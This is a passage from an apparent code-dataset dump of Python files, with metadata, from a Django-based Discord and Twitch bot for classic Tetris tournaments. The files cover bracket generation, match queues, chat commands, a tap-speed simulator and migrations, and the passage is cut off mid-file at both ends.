self.display_name = display_name or name\n\n def send(self, channel, content):\n message = MockDiscordMessage(self, content, channel)\n context = DiscordCommandContext(message)\n context.dispatch()\n\n def create_discord_user(self):\n return DiscordUserFactory(discord_id=self.id,\n username=self.name)\n\n @staticmethod\n def create(*args, **kwargs):\n return MockDiscordAPIUserFactory(*args, **kwargs)\n\nclass MockDiscordAPIUserFactory(factory.Factory):\n class Meta:\n model = MockDiscordAPIUser\n id = factory.Sequence(lambda n: n)\n name = factory.Sequence(lambda n: f\"Mock Discord User {n}\")\n discriminator = factory.Sequence(lambda n: f\"{n:04}\")\n\n\nclass MockDiscordMessage:\n def __init__(self, author, content, channel, guild=None):\n self.author = author\n self.content = content\n self.channel = channel\n self.guild = guild\n" }, { "alpha_fraction": 0.6021577715873718, "alphanum_fraction": 0.6298044323921204, "avg_line_length": 37.02564239501953, "blob_id": "0509fcb77f755b52cd22256d694249df7b96c087", "content_id": "00cd7b89e06deebd6b5560cb8dd2447335740775", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1483, "license_type": "permissive", "max_line_length": 172, "num_lines": 39, "path": "/classic_tetris_project/migrations/0044_auto_20210404_2242.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "# Generated by Django 3.1.3 on 2021-04-04 22:42\n\nimport colorfield.fields\nfrom django.db import migrations, models\nimport django.db.models.deletion\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('classic_tetris_project', '0043_auto_20210327_2316'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='tournament',\n name='color',\n field=colorfield.fields.ColorField(default='#000000', max_length=18),\n ),\n migrations.AlterField(\n model_name='tournament',\n name='short_name',\n field=models.CharField(help_text='Used in the context of an event, e.g. \"Masters Event\"', max_length=64),\n ),\n migrations.AlterField(\n model_name='tournamentplayer',\n name='tournament',\n field=models.ForeignKey(db_index=False, on_delete=django.db.models.deletion.CASCADE, related_name='tournament_players', to='classic_tetris_project.tournament'),\n ),\n migrations.AlterField(\n model_name='tournamentplayer',\n name='user',\n field=models.ForeignKey(db_index=False, on_delete=django.db.models.deletion.PROTECT, related_name='tournament_players', to='classic_tetris_project.user'),\n ),\n migrations.AddConstraint(\n model_name='tournamentplayer',\n constraint=models.UniqueConstraint(fields=('tournament', 'seed'), name='unique_tournament_seed'),\n ),\n ]\n" }, { "alpha_fraction": 0.558192789554596, "alphanum_fraction": 0.5642306804656982, "avg_line_length": 34.05839538574219, "blob_id": "6f787ef5ce190aad3c2a6bbeb8bee1b5e26b27ff", "content_id": "e54b1d53c9e3d541e86bb0b8a45805bb0b2e8fc6", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4803, "license_type": "permissive", "max_line_length": 100, "num_lines": 137, "path": "/classic_tetris_project/facades/tournament_bracket.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "import time\nfrom django.urls import reverse\n\nfrom classic_tetris_project.facades.tournament_match_display import TournamentMatchDisplay\nfrom classic_tetris_project.models import TournamentMatch\nfrom classic_tetris_project.util import memoize\n\n\nclass MatchNode:\n def __init__(self, match, viewing_user):\n self.left = None\n self.right = None\n self.parent = None\n self.match = match\n self.viewing_user = viewing_user\n\n def add_left(self, node):\n if node:\n self.left = node\n node.parent = self\n\n def add_right(self, node):\n if node:\n self.right = node\n node.parent = self\n\n def get_nodes_at_level(self, level):\n if level == 0:\n return [self]\n else:\n nodes = []\n\n if self.left:\n nodes.extend(self.left.get_nodes_at_level(level - 1))\n else:\n nodes.extend([None] * (2 ** (level - 1)))\n\n if self.right:\n nodes.extend(self.right.get_nodes_at_level(level - 1))\n else:\n nodes.extend([None] * (2 ** (level - 1)))\n return nodes\n\n @memoize\n def display(self):\n return TournamentMatchDisplay(self.match, self.viewing_user)\n\n def match_data(self):\n return {\n \"label\": f\"Match {self.match.match_number}\",\n \"url\": self.match.get_absolute_url(),\n \"matchNumber\": self.match.match_number,\n \"color\": self.match.color,\n \"left\": {\n \"playerName\": self.display().player1_display_name(),\n \"playerSeed\": self.match.player1 and self.match.player1.seed,\n \"url\": self.match.player1 and self.match.player1.get_absolute_url(),\n \"winner\": self.display().player1_winner(),\n \"child\": self.left and self.left.match_data(),\n },\n \"right\": {\n \"playerName\": self.display().player2_display_name(),\n \"playerSeed\": self.match.player2 and self.match.player2.seed,\n \"url\": self.match.player2 and self.match.player2.get_absolute_url(),\n \"winner\": self.display().player2_winner(),\n \"child\": self.right and self.right.match_data(),\n },\n }\n\nclass TournamentBracket:\n def __init__(self, tournament, user):\n self.tournament = tournament\n self.user = user\n self.root = None\n\n def build(self):\n bracket_nodes = { match.match_number: MatchNode(match, self.user) for match in\n self.tournament.all_matches() }\n\n if not bracket_nodes:\n return \n\n for node in bracket_nodes.values():\n left_source = node.match.source1_type\n left_data = node.match.source1_data\n right_source = node.match.source2_type\n right_data = node.match.source2_data\n\n if left_source == TournamentMatch.PlayerSource.MATCH_WINNER:\n node.add_left(bracket_nodes[left_data])\n\n if right_source == TournamentMatch.PlayerSource.MATCH_WINNER:\n node.add_right(bracket_nodes[right_data])\n self.root = next(node for node in bracket_nodes.values() if node.parent is None)\n semi_left = self.root.left\n semi_right = self.root.right\n\n def display_rounds(self):\n rounds = []\n for round_number in range(1, self.root.match.round_number + 1):\n rounds.append({\n \"label\": self._round_label(round_number),\n \"number\": round_number,\n \"matches\": self.root.get_nodes_at_level(self.root.match.round_number - round_number)\n })\n return rounds\n\n def react_props(self, options={}):\n return {\n **self.match_data(),\n \"refreshUrl\": self.tournament.get_bracket_url(include_base=True, json=True),\n \"bracketUrl\": self.tournament.get_bracket_url(include_base=True),\n \"customBracketColor\": self.tournament.bracket_color,\n **options\n }\n\n def embed_props(self, options={}):\n return self.react_props({ **options, \"embed\": True })\n\n def match_data(self):\n return {\n \"matches\": self.root.match_data(),\n \"ts\": int(time.time()),\n }\n\n @memoize\n def has_feed_ins(self):\n player_count = self.tournament.tournament_players.count()\n return not (player_count & (player_count - 1) == 0) and player_count != 0\n\n def _round_label(self, round_number):\n if round_number == self.root.match.round_number:\n return \"Finals\"\n elif round_number == self.root.match.round_number - 1:\n return \"Semifinals\"\n else:\n return f\"Round {round_number}\"\n" }, { "alpha_fraction": 0.5574866533279419, "alphanum_fraction": 0.5661764740943909, "avg_line_length": 28.920000076293945, "blob_id": "7193e85c878d91ccc40125099f885b461d86604f", "content_id": "dc052f21e4bdf258725105a4fe1d75c783ca2058", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2992, "license_type": "permissive", "max_line_length": 103, "num_lines": 100, "path": "/classic_tetris_project/util/fieldgen/hz_simulation.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "import math\nfrom django.conf import settings\nfrom django.urls import reverse\nfrom furl import furl\n\nfrom .gravity import GravityFrames\nfrom .field_image_gen import FieldImageGenerator\nfrom ..cache import FileCache\n\n\nclass HzSimulation:\n # VERSION is used for caching images.\n # Increment this every time image generation visibly changes.\n VERSION = 1\n IMAGE_CACHE = FileCache(\"hz\")\n\n def __init__(self, level, height, taps=None, sequence=None):\n\n self.level = int(level)\n self.height = int(height)\n if taps is not None:\n self.taps = int(taps)\n self.frames = self.generate_numframes()\n\n if sequence is not None:\n self.sequence = sequence\n self.taps = len(self.sequence)\n self.frames = sequence[-1] + 1\n elif taps is not None:\n self.sequence = self.generate_sequence(taps)\n else:\n raise RuntimeError(\"taps or sequence must be provided\")\n\n def generate_numframes(self):\n gravity = GravityFrames.get_gravityframes(self.level)\n return gravity * (19 - self.height)\n\n def generate_sequence(self, num_taps):\n if (\n self.level < 0\n or self.height < 0\n or self.height > 19\n or self.taps < 1\n or self.taps > 5\n ):\n raise ValueError(\"`Unrealistic parameters.`\")\n\n if self.taps == 1:\n raise ValueError(\n \"`You have {fr} frames to time this tap (and maybe a rotation for polevault).`\".format(\n fr=self.frames\n )\n )\n\n if 2 * self.taps - 1 > self.frames:\n raise ValueError(\"`Not even TAS can do this.`\")\n\n return self.input_seq(self.frames, self.taps)\n\n def input_seq(self, frames, taps):\n mini = frames / (taps - 1) - 0.1\n indices = []\n for i in range(0, taps):\n indices.append(math.floor(mini * i))\n\n return indices\n\n def hertz(self):\n mini = round(60 * (self.taps - 1) / (self.frames - 1), 2)\n maxi = round(60 * self.taps / self.frames, 2)\n\n return (mini, maxi)\n\n def printable_sequence(self):\n result = list(\".\" * self.frames)\n for item in self.sequence:\n result[item] = \"X\"\n return \"\".join(result)\n\n def cache_image(self):\n if not self.IMAGE_CACHE.has(self.filename):\n image = FieldImageGenerator.image(self)\n self.IMAGE_CACHE.put(self.filename, image.read())\n\n @property\n def filename(self):\n return \"v{version}_l{level}_h{height}_t{taps}.gif\".format(\n version=self.VERSION,\n level=self.level,\n height=self.height,\n taps=self.taps,\n )\n\n @property\n def image_url(self):\n return furl(\n settings.BASE_URL,\n path=reverse(\"simulations:hz\"),\n args={ \"level\": self.level, \"height\": self.height, \"taps\": self.taps }\n ).url\n" }, { "alpha_fraction": 0.5970516204833984, "alphanum_fraction": 0.6076167225837708, "avg_line_length": 30.55038833618164, "blob_id": "47322dd6ddbb0d9d4188d37e07f6abce337a3a0a", "content_id": "9c235f97ac98d2f655ee62ffb041c835bfcce2ef", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4070, "license_type": "permissive", "max_line_length": 121, "num_lines": 129, "path": "/classic_tetris_project/commands/utility.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "import random\nimport re\nfrom django.core.cache import cache\nfrom discord import Embed\nfrom datetime import datetime\n\nfrom .command import Command, CommandException\nfrom ..models import Side, TwitchChannel\nfrom ..util import Platform\nfrom ..discord import GUILD_ID, client as discord_client\nfrom..util.fieldgen.hz_simulation import HzSimulation\nfrom ..words import Words\n\n\nCOIN_FLIP_TIMEOUT = 10\n\nHEADS = 0\nTAILS = 1\nSIDE = 2\nCOIN_MESSAGES = {\n HEADS: \"Heads!\",\n TAILS: \"Tails!\",\n SIDE: \"Side o.O\"\n}\n\[email protected]_discord(\"hz\", \"hydrant\", usage=\"hz <level> <height> <taps>\")\nclass HzCommand(Command):\n\n def execute(self, level, height, taps):\n try:\n level = int(level)\n height = int(height)\n taps = int(taps)\n except ValueError:\n raise CommandException(send_usage = True)\n \n try:\n hz = HzSimulation(level,height,taps)\n except ValueError as e:\n raise CommandException(str(e))\n \n rate = hz.hertz()\n msg = \"{tps} taps {hght} high on level {lvl}:\\n{mini} - {maxi} Hz\\n\".format(\n tps=hz.taps,\n hght=hz.height,\n lvl=hz.level,\n mini=rate[0],\n maxi=rate[1]\n )\n\n # Eagerly cache the image instead of letting the web server handle it lazily\n hz.cache_image()\n\n printable_sequence = hz.printable_sequence()\n if len(printable_sequence) <= 49:\n msg += \"Sample input sequence: {seq}\".format(seq=printable_sequence)\n else:\n msg += \"Sample sequence too long. (GIF will not animate)\"\n\n msg = \"```\"+msg+\"```\"\n\n embed = Embed().set_image(url=hz.image_url)\n self.send_message_full(self.context.channel.id, msg, embed=embed)\n\[email protected](\"seed\", \"hex\", usage=\"seed\")\nclass SeedGenerationCommand(Command):\n def execute(self, *args):\n if self.context.platform == Platform.TWITCH:\n self.check_moderator()\n\n seed = 0\n while (seed % 0x100 < 0x3):\n seed = random.randint(0x200, 0xffffff)\n seed_hex_string = (\"%06x\" % seed).upper()\n spaced_string = \" \".join(re.findall('..', seed_hex_string))\n self.send_message(f\"RANDOM SEED: [{spaced_string}]\")\n\n\[email protected](\"coin\", \"flip\", \"coinflip\", usage=\"flip\")\nclass CoinFlipCommand(Command):\n\n def execute(self, *args):\n if self.context.platform == Platform.TWITCH:\n self.check_moderator()\n elif (self.context.message.guild and self.context.message.guild.id == GUILD_ID):\n self.context.platform_user.send_message(\"Due to abuse, `!flip` has been disabled in the CTM Discord server.\")\n\n self.context.delete_message(self.context.message)\n return\n\n if cache.get(f\"flip.{self.context.user.id}\"):\n return\n cache.set(f\"flip.{self.context.user.id}\", True, timeout=COIN_FLIP_TIMEOUT)\n\n o = [HEADS, TAILS, SIDE]\n w = [0.4995, 0.4995, 0.001]\n choice = random.choices(o, weights=w, k=1)[0]\n\n self.send_message(COIN_MESSAGES[choice])\n if choice == SIDE:\n Side.log(self.context.user)\n\n\[email protected]_discord(\"utc\", \"time\", usage=\"utc\")\nclass UTCCommand(Command):\n def execute(self, *args):\n t = datetime.utcnow()\n l1 = t.strftime(\"%A, %b %d\")\n l2 = t.strftime(\"%H:%M (%I:%M %p)\")\n self.send_message(f\"Current date/time in UTC:\\n**{l1}**\\n**{l2}**\")\n\n\[email protected]_discord(\"stats\", usage=\"stats\")\nclass StatsCommand(Command):\n def execute(self, *args):\n self.check_moderator()\n\n guilds = len(discord_client.guilds)\n channels = TwitchChannel.objects.filter(connected=True).count()\n\n self.send_message(f\"I'm in {guilds} Discord servers and {channels} Twitch channels.\")\n\[email protected]_twitch(\"authword\", usage=\"authword\")\nclass AuthWordCommand(Command):\n\n def execute(self, *args):\n self.check_moderator()\n word = Words.get_word()\n self.send_message(f\"Authword: {word}\")\n" }, { "alpha_fraction": 0.5770235061645508, "alphanum_fraction": 0.5770235061645508, "avg_line_length": 24.53333282470703, "blob_id": "d0ff906b29a9f16a88faa71dd135513336405d7a", "content_id": "1fc0d7426409ac191edd25d7c0b514fce51558c9", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 383, "license_type": "permissive", "max_line_length": 50, "num_lines": 15, "path": "/classic_tetris_project/util/memo.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "# Currently only memoizes nullary instance methods\ndef memoize(f):\n var_name = f\"_memo_{f.__name__}\"\n def helper(self):\n if hasattr(self, var_name):\n return getattr(self, var_name)\n else:\n result = f(self)\n setattr(self, var_name, result)\n return result\n return helper\n\n\ndef lazy(f):\n return property(memoize(f))\n" }, { "alpha_fraction": 0.5364850759506226, "alphanum_fraction": 0.5364850759506226, "avg_line_length": 41.260868072509766, "blob_id": "4a18e251574e4e066db59eea9f2f235b8cbcf6e5", "content_id": "c643d97fbe97e960ad5ad89a4fd126132058c650", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 973, "license_type": "permissive", "max_line_length": 86, "num_lines": 23, "path": "/classic_tetris_project/commands/pronouns.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "from .command import Command, CommandException\n\[email protected](\"setpronouns\", \"setpronoun\", usage=\"setpronoun <he/she/they>\")\nclass SetPronounCommand(Command):\n def execute(self, pronoun):\n pronouns = [\"he\", \"she\", \"they\"]\n accept = [\n [\"he\", \"him\", \"his\", \"he/him\", \"he/him/his\"],\n [\"she\", \"her\", \"hers\", \"she/her\", \"she/her/hers\"],\n [\"they\", \"them\", \"theirs\", \"they/them\", \"they/them/theirs\"]\n ]\n\n for i, p in enumerate(pronouns):\n if pronoun in accept[i]:\n if self.context.user.set_pronouns(p):\n self.send_message(\"Your pronouns have been set to {np}!\".format(\n np=self.context.user.get_pronouns_display()\n ))\n else:\n raise CommandException(\"Error setting pronouns :(\")\n return\n\n raise CommandException(\"Invalid pronoun option. Choose one of: he, she, they\")\n\n" }, { "alpha_fraction": 0.5870916843414307, "alphanum_fraction": 0.5939998030662537, "avg_line_length": 30.86478042602539, "blob_id": "962812ab2a3f1a5ea98783bb107f15412fc73358", "content_id": "15ff059acac73129f3efeb3ee00de513dc312622", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 10133, "license_type": "permissive", "max_line_length": 113, "num_lines": 318, "path": "/classic_tetris_project/commands/matches/queue.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "from django.core.exceptions import ObjectDoesNotExist\n\nfrom ..command import Command, CommandException\nfrom ...queue import Queue\nfrom ...util import memoize\n\n\"\"\"\nqueue.py:\n !open\n !close\n !addmatch <player1> <player2>\n !removematch <id>\n !clear\n !queue !q !matches\n !endmatch\n !winner\n !forfeit\n\nchallenge.py\n !challenge\n !cancel\n !accept\n !decline\n !forfeit\n !match\n Closest matches are...\n\n\"\"\"\n\n\n\nclass QueueCommand(Command):\n @property\n @memoize\n def queue(self):\n return Queue.get(self.context.channel.name)\n\n @property\n def current_match(self):\n return self.queue.current_match\n\n def is_queue_open(self):\n return self.queue and self.queue.is_open()\n\n def check_queue_exists(self):\n if not self.queue:\n raise CommandException(\"There is no current queue.\")\n\n def check_current_match(self):\n if not self.current_match:\n raise CommandException(\"There is no current match.\")\n\n def format_match(self, match):\n if match:\n return \"{player1} vs. {player2}\".format(\n player1=match.player1.twitch_user.username,\n player2=match.player2.twitch_user.username\n )\n else:\n return \"No current match.\"\n\n def format_queue(self, queue):\n if queue and not queue.is_empty():\n match_strings = []\n for i, match in enumerate(queue):\n try:\n match_strings.append(f\"[{i+1}]: {self.format_match(match)}\")\n except ObjectDoesNotExist:\n # Something went wrong displaying this match, probably someone changed their\n # Twitch username\n pass\n return \" \".join(match_strings)\n else:\n return \"No current queue.\"\n\n def match_index(self, index_string):\n try:\n index = int(index_string)\n except ValueError:\n raise CommandException(\"Invalid index.\")\n\n if index < 1 or index > len(self.queue):\n raise CommandException(\"No match at specified index.\")\n\n return index\n\n\[email protected]_twitch(\"open\", \"openqueue\",\n usage=\"open\")\nclass OpenQueueCommand(QueueCommand):\n def execute(self):\n self.check_public()\n self.check_moderator()\n\n if self.is_queue_open():\n raise CommandException(\"The queue has already been opened.\")\n else:\n if self.queue:\n self.queue.open()\n self.send_message(\"The queue has been repoened!\")\n else:\n Queue(self.context.channel.name).open()\n self.send_message(\"The queue is now open!\")\n\n\[email protected]_twitch(\"close\", \"closequeue\",\n usage=\"close\")\nclass CloseQueueCommand(QueueCommand):\n def execute(self):\n self.check_public()\n self.check_moderator()\n\n if not self.is_queue_open():\n raise CommandException(\"The queue isn't open!\")\n else:\n self.queue.close()\n self.send_message(\"The queue has been closed.\")\n\n\[email protected]_twitch(\"queue\", \"q\", \"matches\",\n usage=\"queue\")\nclass ShowQueueCommand(QueueCommand):\n def execute(self):\n self.check_public()\n self.send_message(self.format_queue(self.queue))\n\n\[email protected]_twitch(\"addmatch\",\n usage=\"addmatch <player 1> <player 2>\")\nclass AddMatchCommand(QueueCommand):\n def execute(self, player1, player2):\n self.check_public()\n self.check_moderator()\n self.check_queue_exists()\n\n twitch_user1 = Command.twitch_user_from_username(player1)\n twitch_user2 = Command.twitch_user_from_username(player2)\n\n if twitch_user1 is None:\n raise CommandException(f\"The twitch user \\\"{player1}\\\" does not exist.\")\n if twitch_user2 is None:\n raise CommandException(f\"The twitch user \\\"{player2}\\\" does not exist.\")\n\n self.queue.add_match(twitch_user1.user, twitch_user2.user)\n self.send_message(f\"A match has been added between {twitch_user1.user_tag} and {twitch_user2.user_tag}!\")\n\n\[email protected]_twitch(\"insertmatch\",\n usage=\"insertmatch <player 1> <player 2> <index>\")\nclass InsertMatchCommand(QueueCommand):\n def execute(self, player1, player2, index):\n self.check_public()\n self.check_moderator()\n self.check_queue_exists()\n\n twitch_user1 = Command.twitch_user_from_username(player1)\n twitch_user2 = Command.twitch_user_from_username(player2)\n\n if twitch_user1 is None:\n raise CommandException(f\"The twitch user \\\"{player1}\\\" does not exist.\")\n if twitch_user2 is None:\n raise CommandException(f\"The twitch user \\\"{player2}\\\" does not exist.\")\n\n try:\n index = int(index)\n except:\n raise CommandException(\"Invalid index.\")\n\n\n i = self.queue.insert_match(twitch_user1.user, twitch_user2.user, index)\n self.send_message(f\"A match has been added between {twitch_user1.user_tag} and \"\n f\"{twitch_user2.user_tag} at index {i}!\")\n\n\[email protected]_twitch(\"movematch\", \"move\",\n usage=\"move <current index> <new index>\")\nclass MoveMatchCommand(QueueCommand):\n def execute(self, old_index, new_index):\n self.check_public()\n self.check_moderator()\n self.check_queue_exists()\n\n try:\n i1 = int(old_index)\n i2 = int(new_index)\n except ValueError:\n raise CommandException(\"One of your indicies is invalid.\")\n\n if i1 > len(self.queue):\n raise CommandException(f\"There's no match to move at index {i1}.\")\n\n self.queue.move_match(i1, i2)\n self.send_message(\"Match moved! New queue: {queue}\".format(\n queue=self.format_queue(self.queue)\n ))\n\n\[email protected]_twitch(\"removematch\",\n usage=\"removematch <index>\")\nclass RemoveMatchCommand(QueueCommand):\n def execute(self, index):\n self.check_public()\n self.check_moderator()\n self.check_queue_exists()\n\n index = self.match_index(index)\n self.queue.remove_match(index)\n self.send_message(\"Match removed! New queue: {queue}\".format(\n queue=self.format_queue(self.queue)\n ))\n\n\[email protected]_twitch(\"clear\", \"clearqueue\",\n usage=\"clear yesimsure\")\nclass ClearQueueCommand(QueueCommand):\n def execute(self, confirm):\n self.check_public()\n self.check_moderator()\n self.check_queue_exists()\n\n if confirm == \"yesimsure\":\n self.queue.clear()\n self.send_message(\"The queue has been cleared.\")\n\n else:\n self.send_usage()\n\n\[email protected]_twitch(\"winner\", \"declarewinner\",\n usage=\"winner <player> [losing score]\")\nclass DeclareWinnerCommand(QueueCommand):\n def execute(self, player_name, losing_score=None):\n self.check_public()\n self.check_moderator()\n self.check_queue_exists()\n self.check_current_match()\n\n if losing_score is not None:\n try:\n losing_score = int(losing_score)\n except ValueError:\n raise CommandException(\"Invalid losing score.\")\n if losing_score < 0 or losing_score > 1400000:\n raise CommandException(\"Invalid losing score.\")\n\n twitch_user = self.twitch_user_from_username(player_name)\n if not twitch_user:\n raise CommandException(f\"Twitch user \\\"{player_name}\\\" does not exist.\")\n\n\n try:\n self.queue.declare_winner(twitch_user.user, losing_score)\n except ValueError:\n raise CommandException(f\"player \\\"{twitch_user.username}\\\" is not in the current match.\")\n\n\n current_winner = self.current_match.get_current_winner()\n\n msg_winner = f\"{twitch_user.username} has won a game!\"\n msg_score = \"The score is now {score1}-{score2}.\".format(\n score1=self.current_match.wins1,\n score2=self.current_match.wins2\n )\n if current_winner:\n msg_lead = f\"{current_winner.twitch_user.username} is ahead!\"\n else:\n msg_lead = \"It's all tied up!\"\n\n strings = [msg_winner, msg_score, msg_lead]\n self.send_message(\" \".join(strings))\n\n\[email protected]_twitch(\"endmatch\",\n usage=\"endmatch\")\nclass EndMatchCommand(QueueCommand):\n def execute(self):\n self.check_public()\n self.check_moderator()\n self.check_queue_exists()\n self.check_current_match()\n\n user = self.context.user\n match = self.current_match\n winner = match.get_current_winner()\n self.queue.end_match(user)\n\n # TODO: Handle ties?\n if winner:\n self.send_message(f\"Congratulations, {winner.twitch_user.username}!\")\n self.send_message(f\"Next match: {self.format_match(self.current_match)}\")\n\n\[email protected]_twitch(\"forfeit\",\n usage=\"forfeit <index>\")\nclass ForfeitMatchCommand(QueueCommand):\n def execute(self, index):\n self.check_public()\n self.check_queue_exists()\n\n index = self.match_index(index)\n match = self.queue.get_match(index)\n user = self.context.user\n\n forfeitee = None\n if match.player1 == user:\n forfeitee = match.player2\n elif match.player2 == user:\n forfeitee = match.player1\n\n if forfeitee:\n self.queue.remove_match(index)\n self.send_message(\"{player1} has forfeited their match against {player2}! New queue: {queue}\".format(\n player1=user.twitch_user.username,\n player2=forfeitee.twitch_user.username,\n queue=self.format_queue(self.queue)\n ))\n else:\n raise CommandException(f\"{user.twitch_user.user_tag}, you're not playing in that match!\")\n" }, { "alpha_fraction": 0.6881287693977356, "alphanum_fraction": 0.6881287693977356, "avg_line_length": 48.70000076293945, "blob_id": "bf63931dd2efca1f1c3a0a14b8ca95795e2132f5", "content_id": "4c29f20bf5a8cd7571817bc411e8a5a0f05c3a92", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 497, "license_type": "permissive", "max_line_length": 103, "num_lines": 10, "path": "/classic_tetris_project/commands/playstyle.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "from .command import Command, CommandException\n\[email protected](\"setplaystyle\", \"setstyle\",\n usage=\"setplaystyle <DAS|Hypertap|Hybrid|Roll>\")\nclass SetPlaystyleCommand(Command):\n def execute(self, style):\n if self.context.user.set_playstyle(style):\n self.send_message(f\"Your playstyle is now {self.context.user.get_playstyle_display()}!\")\n else:\n raise CommandException(\"Invalid playstyle. Valid playstyles: DAS, Hypertap, Hybrid, Roll.\")\n" }, { "alpha_fraction": 0.6336477994918823, "alphanum_fraction": 0.6336477994918823, "avg_line_length": 26.65217399597168, "blob_id": "f9aa7a043b6d871d15440d05a43cfc292c8f84a2", "content_id": "5a4ef9f4addbe3aa48217dd0982767d83613d5fe", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 636, "license_type": "permissive", "max_line_length": 66, "num_lines": 23, "path": "/classic_tetris_project/util/cache.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "import os\nimport os.path\nfrom django.conf import settings\n\n\nclass FileCache:\n def __init__(self, name):\n self.name = name\n self.root = os.path.join(settings.BASE_DIR, \"cache\", name)\n os.makedirs(self.root, exist_ok=True)\n\n def full_path(self, filename):\n return os.path.join(self.root, filename)\n\n def cache_path(self, filename):\n return os.path.join(\"/cache\", self.name, filename)\n\n def has(self, filename):\n return os.path.isfile(self.full_path(filename))\n\n def put(self, filename, content):\n with open(self.full_path(filename), \"wb\") as f:\n f.write(content)\n" }, { "alpha_fraction": 0.625284731388092, "alphanum_fraction": 0.660592257976532, "avg_line_length": 35.58333206176758, "blob_id": "e3793b38a2a6acfd981bf868392ba44d83585f7f", "content_id": "a0a81fca27929f6b0f7f4d99476512e6483d1e93", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 878, "license_type": "permissive", "max_line_length": 189, "num_lines": 24, "path": "/classic_tetris_project/migrations/0047_auto_20210405_0653.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "# Generated by Django 3.1.3 on 2021-04-05 06:53\n\nfrom django.db import migrations, models\nimport django.db.models.deletion\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('classic_tetris_project', '0046_auto_20210405_0650'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='tournamentplayer',\n name='qualifier',\n field=models.OneToOneField(blank=True, null=True, on_delete=django.db.models.deletion.RESTRICT, related_name='tournament_player', to='classic_tetris_project.qualifier'),\n ),\n migrations.AlterField(\n model_name='tournamentplayer',\n name='user',\n field=models.ForeignKey(blank=True, db_index=False, null=True, on_delete=django.db.models.deletion.PROTECT, related_name='tournament_players', to='classic_tetris_project.user'),\n ),\n ]\n" }, { "alpha_fraction": 0.5402490496635437, "alphanum_fraction": 0.5613742470741272, "avg_line_length": 36.474998474121094, "blob_id": "e7da824aa22253fe252887c02b21833fdea49c76", "content_id": "96dbb4dae20f00fec615c9205558e620a1f6d2f8", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 8994, "license_type": "permissive", "max_line_length": 98, "num_lines": 240, "path": "/classic_tetris_project/util/bracket_generator.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "import itertools\nfrom django.db import transaction\n\nfrom ..models import Tournament, TournamentMatch\n\n\nBRACKET_COLORS = {\n 1: \"#e69138\",\n 2: \"#6aa84f\",\n 3: \"#c00000\",\n 4: \"#3d85c6\",\n 5: \"#42d4f4\",\n 6: \"#f032e6\",\n 7: \"#911eb4\",\n 8: \"#c5ab00\",\n 9: \"#d3aefd\",\n 10: \"#9b5300\",\n 11: \"#180033\",\n 12: \"#4d9e65\",\n 13: \"#808000\",\n 14: \"#000075\",\n 15: \"#469990\",\n 16: \"#800000\",\n}\n\ndef tournament_size(player_count):\n n = 1\n while n < player_count:\n n *= 2\n return n\n\n\nclass BracketGenerator:\n class BracketGenerationError(Exception):\n pass\n\n def __init__(self, tournament):\n self.tournament = tournament\n\n @staticmethod\n def choose(tournament):\n if tournament.bracket_type == Tournament.BracketType.SINGLE_ELIMINATION:\n return SingleElimination(tournament)\n elif tournament.bracket_type == Tournament.BracketType.DOUBLE_ELIMINATION:\n return DoubleElimination(tournament)\n\n @transaction.atomic\n def generate(self):\n if self.tournament.matches.exists():\n raise BracketGenerationError(\"Tournament already has matches\")\n self._generate_matches()\n\n def _generate_matches(self):\n pass\n\n\nclass SingleElimination(BracketGenerator):\n def _generate_matches(self):\n root = self._generate_match_data(1, 2)\n self._annotate_matches([root])\n self._create_match(root)\n\n # returns type, data\n def _create_match(self, match_data):\n if match_data[\"type\"] == \"seed\":\n return TournamentMatch.PlayerSource.SEED, match_data[\"seed\"]\n elif match_data[\"type\"] == \"match\":\n match = TournamentMatch(\n tournament=self.tournament,\n match_number=match_data[\"match_number\"],\n round_number=match_data[\"round_number\"],\n color=match_data.get(\"color\"),\n )\n\n match.source1_type, match.source1_data = self._create_match(match_data[\"children\"][0])\n match.source2_type, match.source2_data = self._create_match(match_data[\"children\"][1])\n match.save()\n\n return TournamentMatch.PlayerSource.MATCH_WINNER, match.match_number\n\n def _annotate_matches(self, matches):\n matches = [match for match in matches if match[\"type\"] == \"match\"]\n if not matches:\n return 1, 1\n\n next_level = list(itertools.chain.from_iterable(\n match.get(\"children\", []) for match in matches if match[\"type\"] == \"match\"\n ))\n match_number, round_number = self._annotate_matches(next_level)\n\n for match in matches:\n match[\"match_number\"] = match_number\n match[\"round_number\"] = round_number\n match_number += 1\n\n return match_number, round_number + 1\n\n def _generate_match_data(self, highest_seed, player_count, depth = 0):\n seed1 = highest_seed\n seed2 = player_count + 1 - highest_seed\n\n if seed2 > self.tournament.seed_count:\n return { \"type\": 